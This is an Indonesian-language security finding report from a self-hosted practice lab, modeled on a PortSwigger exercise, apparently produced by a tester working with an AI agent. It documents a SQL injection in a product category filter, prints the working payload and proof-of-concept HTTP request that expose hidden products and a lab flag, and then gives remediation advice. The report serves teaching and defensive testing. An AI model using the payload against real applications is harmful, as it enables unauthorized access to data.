

LAPORAN TEMUAN KEAMANAN

SQL Injection pada filter kategori — membocorkan produk tersembunyi

ID	web-001	Tanggal	3 Oktober 2026
Target	Aplikasi lab milik sendiri (localhost:8010)	Penguji	Aldi + Hermes Agent
Kelas	SQL Injection (CWE-89)	Status	CONFIRMED (diverifikasi)
Severity	MEDIUM	Skor CVSS	5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

1. Ringkasan Eksekutif

Parameter **kategori** pada endpoint **GET /filter** digabungkan langsung (string concatenation) ke dalam query SQL tanpa parameterisasi. Penyerang dapat menyuntik payload **Gifts' OR 1=1--** untuk mematikan filter **released = 1**, sehingga seluruh produk — termasuk yang dirahasiakan/belum dirilis — ikut ditampilkan tanpa autentikasi.

2. Komponen Terdampak

Endpoint: **GET /filter?kategori=<input>**

File rentan: **sqli_app.py** → fungsi **query_products()**

```
SELECT * FROM products
WHERE kategori = '<INPUT_USER>' AND released = 1
```

3. Bukti Konsep (PoC)

Request (URL-encoded):

```
GET /filter?kategori=Gifts%27%20OR%201=1-- HTTP/1.1
Host: 127.0.0.1:8010
```

Query yang terbentuk di server:

```
SELECT * FROM products WHERE kategori = 'Gifts' OR 1=1--' AND released = 1
                        ^^^^^^^^^^^
                        kondisi SELALU benar; '--' mematikan sisa query
```

Kondisi	Request	Produk tampil
Baseline (normal)	kategori=Gifts	2 produk
Setelah SQLi	kategori=Gifts' OR 1=1--	9 produk (semua)

Response dengan payload memuat **3 produk tersembunyi** yang tidak pernah muncul di UI normal, termasuk flag **Flag{sql_injection_pemula}** — bukti penembusan data yang seharusnya difilter.

4. Dampak

- **Terbukti:** kebocoran data tersembunyi (voucher internal, prototipe produk, flag) kepada siapa pun tanpa akun.
- **Potensi (belum didemonstrasikan):** pola yang sama lazim dapat dikembangkan menjadi pembacaan tabel lain (pengguna, hash kata sandi) atau modifikasi data — belum diuji pada lab ini.

5. Rekomendasi Perbaikan

1. Gunakan **parameterized query** (prepared statement) — jangan merangkai string:
`cur.execute("SELECT * FROM products WHERE kategori = ? AND released = 1", (kategori,))`
2. Validasi input dengan **whitelist** kategori yang diizinkan.
3. Terapkan **least-privilege**: akun DB aplikasi cukup baca.

6. Tindak Lanjut (rencana)

- Uji payload UNION untuk membaca tabel lain (di lab, bukan sistem nyata)
- Buat versi aplikasi yang telah diperbaiki sebagai perbandingan
- Ulangi pola laporan ini untuk lab PortSwigger/HTB berikutnya

Dokumen edukasi internal — lab berjalan di localhost (aplikasi milik sendiri). Tidak ada sistem pihak ketiga yang diuji. Terinspirasi lab PortSwigger Web Security Academy: "SQL injection vulnerability in WHERE clause allowing retrieval of hidden data".